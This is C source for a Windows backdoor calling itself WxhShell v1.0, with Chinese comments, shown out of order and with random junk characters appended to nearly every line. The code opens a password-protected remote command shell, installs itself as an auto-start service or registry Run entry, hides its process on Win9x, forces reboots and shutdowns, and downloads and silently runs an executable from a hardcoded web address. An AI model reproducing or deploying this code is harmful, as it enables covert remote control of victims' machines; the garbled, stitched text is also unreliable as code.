    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); j#f&!&G5<&  
    if(Boot(SHUTDOWN)) "/?qT;<$)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0d ->$gb  
    else { sriz b  
    closesocket(wsh); JY+[  
    ExitThread(0); ? ^CGJ1  
    } 72zuI4&  
    break; A%1=6  
    } MGz F+ln^U  
  // 获取shell !y`e,(E  
  case 's': { C#&6p0U  
    CmdShell(wsh); u&xK>7  
    closesocket(wsh); ;NeP&)Td  
    ExitThread(0); ,<^HB+{Wo  
    break; ha=z<Q  
  } => =x0gsgj  
  // 退出 q4iD59yd)S  
  case 'x': { g4~qc I=a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I)6Sbt JV^  
    CloseIt(wsh); jPNfLwVkl:  
    break; N08n/u&cr,  
    } Ne7{{1  
  // 离开 })lT fy  
  case 'q': { YX VJJd$U  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 3{:<z 4>{  
    closesocket(wsh); rcmAVl:$>  
    WSACleanup(); ; ,<J:%s  
    exit(1); }>~>5jc/Pg  
    break; U]0)$OH5e  
        } \]A;EwC4C  
  } _vV&4>  
  } vqOLSE"t*O  
~!F4JRf  
  // 提示信息 5I1J)K;  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \{zAX~k6  
} bV*zMoD#  
  } A9Wqz"[  
vfUfrk@D~  
  return; Gc!8v}[7J  
} s;7qNwYO  
%*c|[7Z~V  
// shell模块句柄 (iOCzZ6S  
int CmdShell(SOCKET sock) /^ 3oq]  
{ kO_XyC4(  
STARTUPINFO si; N"RYM~c7  
ZeroMemory(&si,sizeof(si)); K]!u@I*K"  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; m%c0#=D  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; F}(QKO*  
PROCESS_INFORMATION ProcessInfo; n E}<e:  
char cmdline[]="cmd"; Ygi1"X}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); FP'lEp  
  return 0; pEj^x[b`^  
} |cGeL[  
Au} ;z6k  
// 自身启动模式 ^;$a_$ |  
int StartFromService(void) Rgfhs[Z  
{ ,i?!3oLT  
typedef struct hdtnC29$  
{ \41)0,sEy  
  DWORD ExitStatus; 1DLG]-j}  
  DWORD PebBaseAddress; K6{bYho  
  DWORD AffinityMask; 4ylDD|) rO  
  DWORD BasePriority;  AY'?Xt  
  ULONG UniqueProcessId; G7A bhb,  
  ULONG InheritedFromUniqueProcessId; N@*wi"Q  
}   PROCESS_BASIC_INFORMATION; PT#eXS9_  
$l,Zd6<1q  
PROCNTQSIP NtQueryInformationProcess; CQzjCRS d  
Wt9iL  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; (:-Jl"&R@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #C1A5JE&  
,r 2VP\hLh  
  HANDLE             hProcess; V.Ba''E7  
  PROCESS_BASIC_INFORMATION pbi; ]vQ?]d?>a  
$7n#\h  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); (vAv^A*i}  
  if(NULL == hInst ) return 0; |1+(Ny.%k  
r7"Au"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); dH2]ZE0V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gO:Z6}3vM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); rW~?0  
sh(kRrdY3  
  if (!NtQueryInformationProcess) return 0; *rn]/w8ZW  
}d~wDg<#  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); '"w}gx  
  if(!hProcess) return 0; c@9Z&2)  
x, Vh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4Wla&yy  
1Y"35)CR)  
  CloseHandle(hProcess); =Esbeb7P  
nl'J.dJe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ?S@R~y0K  
if(hProcess==NULL) return 0; }-{b$6]  
`[@^m5?b-  
HMODULE hMod; 2rO)qjiH  
char procName[255]; M*O(+EM  
unsigned long cbNeeded; IQw %|^  
974eY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PPCTc|G  
Q&upxE4-~  
  CloseHandle(hProcess); <DXmZ1  
dF{6>8D=5B  
if(strstr(procName,"services")) return 1; // 以服务启动 6mBDd>`0  
VPM|Rj:d  
  return 0; // 注册表启动 +#*&XX5A#?  
} kQwm"Z  
0Q$~k  
// 主模块 ~TG39*m  
int StartWxhshell(LPSTR lpCmdLine) wrQydI  
{ ]M~8 @K  
  SOCKET wsl; *f`s%&Y]s  
BOOL val=TRUE; i0'Xy>l  
  int port=0; U+.PuC[3  
  struct sockaddr_in door; i$[,-4 v  
a: yB%:2  
  if(wscfg.ws_autoins) Install(); XhE$&Ff  
abICoP1zQ  
port=atoi(lpCmdLine); ,Um5S6 Z  
TZh\#dp4l  
if(port<=0) port=wscfg.ws_port; (F,(]71Z+  
L2CW'Hd  
  WSADATA data; Bw 3F7W~l  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; p;qRm} 0}  
gH i~nEH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   m3xz=9Ve  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QT1:> k  
  door.sin_family = AF_INET; 6%ZHP?  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); H_?;h-Y]  
  door.sin_port = htons(port); 1UW s_|X!  
e(}oq"'z  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N 8:"&WM  
closesocket(wsl); ezcS[r  
return 1; VLh%XoQx[  
} <`c25ih.4  
v9E+(4I9_  
  if(listen(wsl,2) == INVALID_SOCKET) { &<gUFcw7Ui  
closesocket(wsl); 7szls71/=  
return 1; rDIhpT)a  
} K08 iPIkQ  
  Wxhshell(wsl); Z!wD~C"D73  
  WSACleanup(); d[Rb:Y w  
|h^K M  
return 0; ]`zjRRd  
b A)b`1lI  
} +"YTCzv;t  
W[R]^2QAG  
// 以NT服务方式启动 $zC6(C(l  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cs K>iN  
{ =cdh'"XN  
DWORD   status = 0; gf0PMc3l  
  DWORD   specificError = 0xfffffff; /:#j ?c  
PM~bM3Ei  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W *YW6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j6n2dMRvSE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; #"Fg%36Zd  
  serviceStatus.dwWin32ExitCode     = 0; 0=OD?48<  
  serviceStatus.dwServiceSpecificExitCode = 0; E x_L!9>!  
  serviceStatus.dwCheckPoint       = 0; D^,\cZbY  
  serviceStatus.dwWaitHint       = 0; M'\pkzx  
'rS'B.D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); WYSck&9  
  if (hServiceStatusHandle==0) return; T?H\&2CLT  
L3B8IDq  
status = GetLastError(); C0\%QXu  
  if (status!=NO_ERROR) t-!Rgg$9  
{ `0yb?Nk `:  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; g9DG=\*A  
    serviceStatus.dwCheckPoint       = 0; \HCOR, `T  
    serviceStatus.dwWaitHint       = 0; Ab*] dn`z  
    serviceStatus.dwWin32ExitCode     = status; ]@*tfz\YaH  
    serviceStatus.dwServiceSpecificExitCode = specificError; .=Pm>o/,  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $!a?i@  
    return; >W8bWQ^fK  
  } M} O[`Fx{W  
+->\79<#V(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Dp!;7e s|  
  serviceStatus.dwCheckPoint       = 0; yrO?Np  
  serviceStatus.dwWaitHint       = 0; Jf_]Z  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c`-YIz)W  
} De;,=BSp  
(tJ91SBl  
// 处理NT服务事件,比如:启动、停止 Qn *6D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [/?c@N,  
{ v-ThdE$G#  
switch(fdwControl) ^[en3aQ  
{ 6/|U  
case SERVICE_CONTROL_STOP: Y.E?;iS  
  serviceStatus.dwWin32ExitCode = 0; wOjv[@d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; DWuRJ  
  serviceStatus.dwCheckPoint   = 0; ?#4+r_dP  
  serviceStatus.dwWaitHint     = 0; (Ar?QwP9>  
  { ~Y% : 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,MRvuw0P  
  } y0;,dv]  
  return; +q7qK*  
case SERVICE_CONTROL_PAUSE: DK)u)?!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Fl<(m  
  break; K~USK?Q%  
case SERVICE_CONTROL_CONTINUE: CP +4k.)*O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M z9 3  
  break; _O$tuC%  
case SERVICE_CONTROL_INTERROGATE: -zprNQW  
  break; R3$@N  
}; .Nc_n5D6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -=}b;Kf -  
} rWJ*e Y  
\kxh#{$z?  
// 标准应用程序主函数 TNx_Rc}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~+<<bzY  
{ g+.0c=G(  
T\jAk+$Jo  
// 获取操作系统版本 l7ZB3'  
OsIsNt=GetOsVer(); (JWv *p  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q2q| *EL  
D{>\-]\  
  // 从命令行安装 N50fL  
  if(strpbrk(lpCmdLine,"iI")) Install(); E$w#+.QP  
z=B< `}@3  
  // 下载执行文件 #aa1<-&H  
if(wscfg.ws_downexe) { rxs8De  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B9}E {)T?  
  WinExec(wscfg.ws_filenam,SW_HIDE); M=W 4:H,gx  
} =9(tsB gTX  
au}s=ua~i  
if(!OsIsNt) { NK~PcdGl  
// 如果时win9x,隐藏进程并且设置为注册表启动 k9 l^6#<?  
HideProc();  *=TYVM9  
StartWxhshell(lpCmdLine); xLZ bU4  
} ZlrhC= 0  
else s*f1x N<  
  if(StartFromService()) qT$ )Rb&  
  // 以服务方式启动 B.}cB'|  
  StartServiceCtrlDispatcher(DispatchTable); Gh'X.?3   
else |<1M&\oaQ'  
  // 普通方式启动 BO"qD[S  
  StartWxhshell(lpCmdLine); nz[ m3]  
zMr&1*CDX  
return 0; [NL -!  
} $5x]%1 R  
g#}tm<  
9Yn)t#G'`F  
y=#j`MH{>  
=========================================== o~;M"  
@*SA$9/l  
0TmZ*?3!4  
JxHv<p[  
TywK\hH  
[ T-*/}4$  
" w]}f6VlEl  
^( DL+r,  
#include <stdio.h> J B(<.E 2  
#include <string.h> 5~QT g  
#include <windows.h> 1) 'Iu`k/  
#include <winsock2.h> {U^j&E  
#include <winsvc.h> <W2ZoqaV  
#include <urlmon.h> xdqK.Z%  
7C?E z%a@  
#pragma comment (lib, "Ws2_32.lib") U:\p$hL9  
#pragma comment (lib, "urlmon.lib") BtzYA"  
F*,5\s<  
#define MAX_USER   100 // 最大客户端连接数 mVt3WZa  
#define BUF_SOCK   200 // sock buffer %7 /,m  
#define KEY_BUFF   255 // 输入 buffer ]=|P<F   
[8TS"ph>  
#define REBOOT     0   // 重启 :mP9^Do2;  
#define SHUTDOWN   1   // 关机 B 2Z0  
>;7a1+`3  
#define DEF_PORT   5000 // 监听端口 $cu]_gu  
Td&d,;  
#define REG_LEN     16   // 注册表键长度 p jd o|  
#define SVC_LEN     80   // NT服务名长度 d+e0;!s~O  
s*.3ZS5  
// 从dll定义API aDh|48}X  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i&*<lff  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 50 *@.!^*  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2 eHx"Ha  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); yuv4*  
NNmM#eB:4  
// wxhshell配置信息 S}b~_}  
struct WSCFG { 9$wAm89  
  int ws_port;         // 监听端口 ##GY<\",;  
  char ws_passstr[REG_LEN]; // 口令 { m'AY)  
  int ws_autoins;       // 安装标记, 1=yes 0=no p(?g-  
  char ws_regname[REG_LEN]; // 注册表键名 vzG ABP  
  char ws_svcname[REG_LEN]; // 服务名 e,"FnW  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 8gAu7\p}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ) P%4:P  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 E<k ^S{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fdLBhe#9M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 9(Jy0]E~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Se Oy7  
D7gHE  
}; ]VDn'@uM  
#2N_/J(U  
// default Wxhshell configuration Wj tft%  
struct WSCFG wscfg={DEF_PORT, 4kh8W~i;/  
    "xuhuanlingzhe", =+\$e1Mb*  
    1, 7f* RM  
    "Wxhshell", r>O|L%xpv  
    "Wxhshell", \OY}GRKt  
            "WxhShell Service", /?U!y?t&@  
    "Wrsky Windows CmdShell Service", 2lo:a{}j  
    "Please Input Your Password: ", |EEi&GOR(y  
  1, QXY}STs  
  "http://www.wrsky.com/wxhshell.exe", 1yS&~ y?a  
  "Wxhshell.exe" QAUykS8  
    }; o}  {-j  
=ajLa/m'  
// 消息定义模块 "&<~UiI  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; mr qaM2,(I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; g>T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ai9  
char *msg_ws_ext="\n\rExit."; s [T{c.F  
char *msg_ws_end="\n\rQuit."; /B[}I}X  
char *msg_ws_boot="\n\rReboot..."; U!Mf]3  
char *msg_ws_poff="\n\rShutdown..."; `S$sQ&  
char *msg_ws_down="\n\rSave to "; . pP7"E4]  
^vaL8+  
char *msg_ws_err="\n\rErr!"; 5k~\or 5_  
char *msg_ws_ok="\n\rOK!"; m9!DOL1pl  
!5~k:1=  
char ExeFile[MAX_PATH]; x_W3sS]ej  
int nUser = 0; N<n8'XDdG  
HANDLE handles[MAX_USER]; bw5T2wYZ  
int OsIsNt; |]tZ hI"3<  
XWXr0>!,?  
SERVICE_STATUS       serviceStatus; I=odMw7Hj  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7>&1nBh. f  
AqqHD=Yp  
// 函数声明 yW`e |!  
int Install(void); R{`gR"*  
int Uninstall(void); =x#&\ui  
int DownloadFile(char *sURL, SOCKET wsh); dm& /K 4c  
int Boot(int flag); 3HKxYvc C  
void HideProc(void); *IqVY&  
int GetOsVer(void); s`1^*Dl%+  
int Wxhshell(SOCKET wsl); /=/ HB  
void TalkWithClient(void *cs); ](nH{aY!  
int CmdShell(SOCKET sock); .pW o>`"  
int StartFromService(void); nALnB1  
int StartWxhshell(LPSTR lpCmdLine); 7UDq/:}Fo  
L#!$hq9{_  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~j]dct7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); *m&%vj.Kc  
> Y ] _K  
// 数据结构和表定义 \HD-vINV;  
SERVICE_TABLE_ENTRY DispatchTable[] = N%*9&FjrL  
{ r&Q t_  
{wscfg.ws_svcname, NTServiceMain}, h1c{?xH2r  
{NULL, NULL} K"^cq~   
}; ;j!UY.i  
x{?sn  
// 自我安装 5{>>,pP&  
int Install(void) fp tIc#4  
{ @() {/cF  
  char svExeFile[MAX_PATH]; wHWma)}-z  
  HKEY key; tUv3jq)n%  
  strcpy(svExeFile,ExeFile); 2qXo{C3  
wE4;Rk1  
// 如果是win9x系统,修改注册表设为自启动 vcM~i^24)  
if(!OsIsNt) { %l;*I?0H  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r,"7%1I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :$2Yg[Zc3  
  RegCloseKey(key); #h{Nz/h+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r@Nl 2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :P,2K5]y  
  RegCloseKey(key); ,(;5%+#n  
  return 0; %ZiK[e3G  
    } Q.1XP  
  } E|{m"RUOy  
} 1 w17L]4  
else { ;:?*t{r4#  
OW#_ty_ul  
// 如果是NT以上系统,安装为系统服务 b|6!EGh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); }7Jp :.qk  
if (schSCManager!=0) 5;(0 $4I  
{ W }Zb~[,  
  SC_HANDLE schService = CreateService gw J}]Tf  
  ( d EI a=e|  
  schSCManager, #'8)u)!  
  wscfg.ws_svcname, 6i-*N[!U  
  wscfg.ws_svcdisp, )WmZP3$^TX  
  SERVICE_ALL_ACCESS, 1\IZcJ {  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , t2U$m'(A&  
  SERVICE_AUTO_START, vbedk+dd?A  
  SERVICE_ERROR_NORMAL, m#;.yR  
  svExeFile, [aHlu[,  
  NULL, F:_FjxU  
  NULL, PU"S;4m  
  NULL, K.%z;( U  
  NULL, 0Gx*'B=  
  NULL CWBbSGk  
  ); ?R282l  
  if (schService!=0) { Hr>X  
  { U&X.  
  CloseServiceHandle(schService); ) G|"jFP  
  CloseServiceHandle(schSCManager); zu<>"5}]  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); :v#8O~  
  strcat(svExeFile,wscfg.ws_svcname); ey*,StT5a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 77tZp @>hn  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ]`K[W&  
  RegCloseKey(key); <ZV7|'^  
  return 0; WSS(Bm|B  
    } sSV^5  
  } 4rm87/u*0  
  CloseServiceHandle(schSCManager); )%BT*)x  
} X~%IM1+L;  
} w0aHEvH/  
7> )l{7  
return 1; jOtzx"/)rE  
} N" ;^S  
g4Bg6<;  
// 自我卸载 PK8V2Ttv  
int Uninstall(void) Rd0?zEKV  
{ B]i+,u  
  HKEY key; "(N-h\7Ex9  
D"'#one  
if(!OsIsNt) { Rn8#0%/Q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ^>eFm8`N  
  RegDeleteValue(key,wscfg.ws_regname); Nl=+.d6 Qo  
  RegCloseKey(key); +yvBSpY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0$!.c~  
  RegDeleteValue(key,wscfg.ws_regname); sv@}x[L  
  RegCloseKey(key); [|jIC  
  return 0; .N&QW `  
  } /%;/pi  
} $sM]BE:  
} L^&do98  
else { 4">84,-N  
N*? WUn9]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); CO7CNN  
if (schSCManager!=0) bnIf}ut-G  
{ ,I=O"z>9  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gl Li  
  if (schService!=0) > d^r">!,  
  { } cRi A  
  if(DeleteService(schService)!=0) { IK85D>00T  
  CloseServiceHandle(schService); #i6[4X?  
  CloseServiceHandle(schSCManager); :3:)E  
  return 0; =\*S'Ded  
  }  POkXd^pI  
  CloseServiceHandle(schService); :K?iNZqWN6  
  } S`fu+^c v  
  CloseServiceHandle(schSCManager); hY)YX,f=S  
} \A~4\um  
} =y`-sU Hx  
{XyG1  
return 1; dr}O+7_7%-  
} ud 5x$`  
r*xq(\v  
// 从指定url下载文件 9  4 "f  
int DownloadFile(char *sURL, SOCKET wsh) /]P%b K6B  
{ 3KbUHSx  
  HRESULT hr; ~rp.jd 0l  
char seps[]= "/"; 'w :tq  
char *token; Z5 w`-#  
char *file; Tm0?[[3hC  
char myURL[MAX_PATH]; [sjrb?Xd  
char myFILE[MAX_PATH]; oVAOGHE  
A7mMgb_  
strcpy(myURL,sURL); !Mm+bWn=mB  
  token=strtok(myURL,seps); l^)o'YS y  
  while(token!=NULL) HdDo&#  
  { !N@Yh"c  
    file=token; Z8N@e<!*~8  
  token=strtok(NULL,seps); lrM.RM96  
  } \z<ws&z3`$  
h4B+0  
GetCurrentDirectory(MAX_PATH,myFILE); <#:Ebofsn  
strcat(myFILE, "\\"); _Jt_2o%G  
strcat(myFILE, file); ]KfghRUH  
  send(wsh,myFILE,strlen(myFILE),0); A632 :V  
send(wsh,"...",3,0); &:IfhS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); jqV)V>M.  
  if(hr==S_OK) aU,0gvI(}  
return 0; zS#f%{   
else Tq_1wX'\  
return 1; H!Fr("6}  
u66TrYStG  
} 56 /.*qa  
N^)<)?  
// 系统电源模块 7/$nA<qM  
int Boot(int flag) nI((ki}v  
{ $yP'k&b!  
  HANDLE hToken; 9J't[( u|u  
  TOKEN_PRIVILEGES tkp; qen44;\L  
 WMt&8W5  
  if(OsIsNt) { ~7FEY0/  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P*?d6v,r  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); T9&,v<f  
    tkp.PrivilegeCount = 1; zzDNWPzsA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; e)fJd*P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A?%XO %  
if(flag==REBOOT) { TW;|G'}$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) `Pz!SJ|  
  return 0; 5p N08+  
} Off: ~  
else { E1mI Xd;.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BZnp #}f  
  return 0; N> uZt2  
} b7F3]W<`&  
  } z/Mhu{ttL  
  else { 9P,A t8V(  
if(flag==REBOOT) { oRtY?6^$  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) bqf]$}/8k  
  return 0; %tklup]LF8  
} dK-  ^  
else { :~qtvs;{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  Y,<WX v  
  return 0; 9OO0Ht4j  
} i75?*ld  
} `"^@[1  
=PeW$q+  
return 1; N7Z(lI|a;  
} .j+2x[`l  
Huug_E+  
// win9x进程隐藏模块 `SSP53R(0  
void HideProc(void) J%O[@jX1  
{ NoSqzJyh  
W}<M?b4tP  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); "OlI-^y  
  if ( hKernel != NULL ) ys~p(  
  { NUxAv= xl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @ B}c4,  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [|m>vY!  
    FreeLibrary(hKernel); &})4?5  
  } .yHHogbt  
ID{Pzmt-  
return; 8O;rp(N.n  
} }SJLBy0  
sbq44L)  
// 获取操作系统版本 wKeSPs{x  
int GetOsVer(void) S|=rF<]my  
{ f(9$"Vi  
  OSVERSIONINFO winfo; gzJ{Gau{)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7kWZMi  
  GetVersionEx(&winfo); ;{F;e)${M  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) o#KPrW`XJ/  
  return 1; 8m1 3M5r  
  else l yLK$B?/  
  return 0; s K$Sar  
} ~$TE  
gw}7%U`T9  
// 客户端句柄模块 zN 729wK  
int Wxhshell(SOCKET wsl) {) '" k6w  
{ ADwwiq#E  
  SOCKET wsh; p1`'1`.3  
  struct sockaddr_in client; gen3"\Og{  
  DWORD myID; 7p"~:1hU  
6m;wO r  
  while(nUser<MAX_USER) m%[2x#  
{ DlQ[}5STF  
  int nSize=sizeof(client); C>(M+qXL+  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); *Tlws  
  if(wsh==INVALID_SOCKET) return 1; /n<Ncf  
9O 0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cvLcre% >A  
if(handles[nUser]==0) 4)>\rqF+v  
  closesocket(wsh); *M**h-p2'  
else \Vhp B   
  nUser++; ah&plaVzC  
  } "351s3ff  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]a Ma*fF  
~]t2?SqNm  
  return 0; yI)RG OV  
} (/rIodHJO  
3 v,ae7$U&  
// 关闭 socket F" #3s=  
void CloseIt(SOCKET wsh) ju2X*  
{ L^ jC& dF  
closesocket(wsh); YQ[&h  
nUser--; 9Av- ;!]  
ExitThread(0); ~?8 x0  
} 4 *2>R8SX~  
TQxc?o  
// 客户端请求句柄 /\Y%DpG$  
void TalkWithClient(void *cs) ~ @"Qm;} "  
{ gCBZA;/  
Uc%`? +Q  
  SOCKET wsh=(SOCKET)cs; }?ac<> u&  
  char pwd[SVC_LEN]; =*)O80oaW  
  char cmd[KEY_BUFF]; P A+e= %  
char chr[1]; HDXjH|of  
int i,j; gV.Pg[[1  
4>ce,*B1  
  while (nUser < MAX_USER) { b<8J;u<  
KX`nHu;  
if(wscfg.ws_passstr) { 7!QXh;u  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tZ{q\+h  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |(8Hk@\CT>  
  //ZeroMemory(pwd,KEY_BUFF); )bN3-_  
      i=0; cd%g]T)#1  
  while(i<SVC_LEN) { 4>tYMyLt0  
$!3t$-TSD  
  // 设置超时 gS o(PW)  
  fd_set FdRead; I`}vdX)  
  struct timeval TimeOut; EA{*%9 A  
  FD_ZERO(&FdRead); h,jAtL!  
  FD_SET(wsh,&FdRead); q-)_Qco  
  TimeOut.tv_sec=8; "OAZ<  
  TimeOut.tv_usec=0; kviSQM2  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); x[uXD  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); kk7: A0._  
~X(xa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w!9WCl]9M  
  pwd=chr[0]; PHL@1K{)  
  if(chr[0]==0xd || chr[0]==0xa) { CzsY=DBH=  
  pwd=0; Dp |FyP_w  
  break; EQ`t:jc {  
  } aiX;D/t?  
  i++; r`"#c7)  
    } /WgWe  
T|iF/p]F  
  // 如果是非法用户,关闭 socket -v+^x`HR  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); BNm va  
} Ol5xyj  
}c#/1J7  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 9TN5|x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ML"P"&~u6  
f?I *`~k  
while(1) { . t%Vx  
^{+:w:g  
  ZeroMemory(cmd,KEY_BUFF); ~ai' M#  
HaN _}UMP  
      // 自动支持客户端 telnet标准   4g^+y.,r_f  
  j=0; rxk{Li<9  
  while(j<KEY_BUFF) { \osQwGPV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :Ty*i  
  cmd[j]=chr[0]; +&8Ud8Q  
  if(chr[0]==0xa || chr[0]==0xd) { :\;uJ5  
  cmd[j]=0; ->9xw  
  break; "@? kxRn!  
  } Nn7@+g)  
  j++; y8n1IZ*#SZ  
    } TFA  
g-gBg\y{v  
  // 下载文件 cZT.vA#  
  if(strstr(cmd,"http://")) { 9F1stT0G%  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |VEAzY|[#  
  if(DownloadFile(cmd,wsh)) 2/q=l?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]<z(Rmn`Q  
  else ffd 3QQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]c=1-Rl  
